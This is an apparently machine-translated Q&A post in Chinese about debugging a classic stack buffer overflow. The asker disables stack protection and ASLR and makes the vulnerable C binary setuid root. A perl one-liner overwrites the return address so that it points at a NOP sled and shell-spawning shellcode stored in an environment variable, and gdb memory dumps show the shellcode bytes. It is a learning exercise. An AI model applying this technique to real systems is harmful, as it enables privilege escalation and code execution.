我正在使用下面的代码尝试通过溢出searchstring变量来执行一些存储在环境变量中的shellcode,以便main的返回地址包含anvironment变量的地址。但是,在printf命令之前,我遇到了分段错误。使用缓冲区溢出执行存储在环境变量中的shellcode
#include <stdio.h>
#include <string.h>
void main(int argc, char *argv[]){
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else // otherwise
searchstring[0] = 0;
printf("Here");
}
我编译,以禁用堆栈保护和使栈可执行使用
gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack
的代码。我还通过修改的/ proc/SYS /内核/ randomize_va_space禁用ASLR为包含0。我也改变所有者和组到根:
sudo chown root:root overflow.o
sudo chmod u+s overflow.o
的环境变量包含的shellcode前一个NOP雪橇,我确定地址0xffffd910位于NOP底座的中间。因此我运行该程序使用
./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')
但看到一个段错误。
使用gdb我在main上设置了一个断点,然后遍历了指令。发生赛格故障达到之前printf命令,并且赛格故障我看到
(gdb) x/32x $esp
0xffffd910: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd920: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd930: 0x90909090 0x90909090 0xdb31c031 0xb099c931
0xffffd940: 0x6a80cda4 0x6851580b 0x68732f2f 0x69622f68
0xffffd950: 0x51e3896e 0x8953e289 0x0080cde1 0x4d524554
0xffffd960: 0x6574783d 0x53006d72 0x4c4c4548 0x69622f3d
0xffffd970: 0x61622f6e 0x58006873 0x4d5f4d44 0x47414e41
0xffffd980: 0x6d3d4445 0x6f687465 0x6c633d64 0x69737361
(gdb) x/x $eip
0x90909090: Cannot access memory at address 0x90909090
检查的主要堆栈帧之后立即检查堆栈指针和指令指针(早期发现在地址0xffffd460)确认该地址0xffffd910确实已被复制到搜索字符串:
(gdb) x/32x 0xffffd460
0xffffd460: 0xffffd49f 0xffffd49e 0xffffd590 0xffffd910
0xffffd470: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd480: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd490: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4a0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4b0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4c0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4d0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
我不明白为什么堆栈指针和指令指针跳跃,即使主还没有执行完这些位置?另外,为什么指令指针跳转到0x90909090而不是0xffffd910?这是造成分段错误的原因,还是我不知道的一些堆栈保护?
我意识到这是一个人为的例子,但我只是想知道发生了什么。
谢谢!
我遇到了同样的问题。该“lea”指令使得eip寄存器指向0x90909090而不是nop底座地址。你有没有找到解决办法? – Michele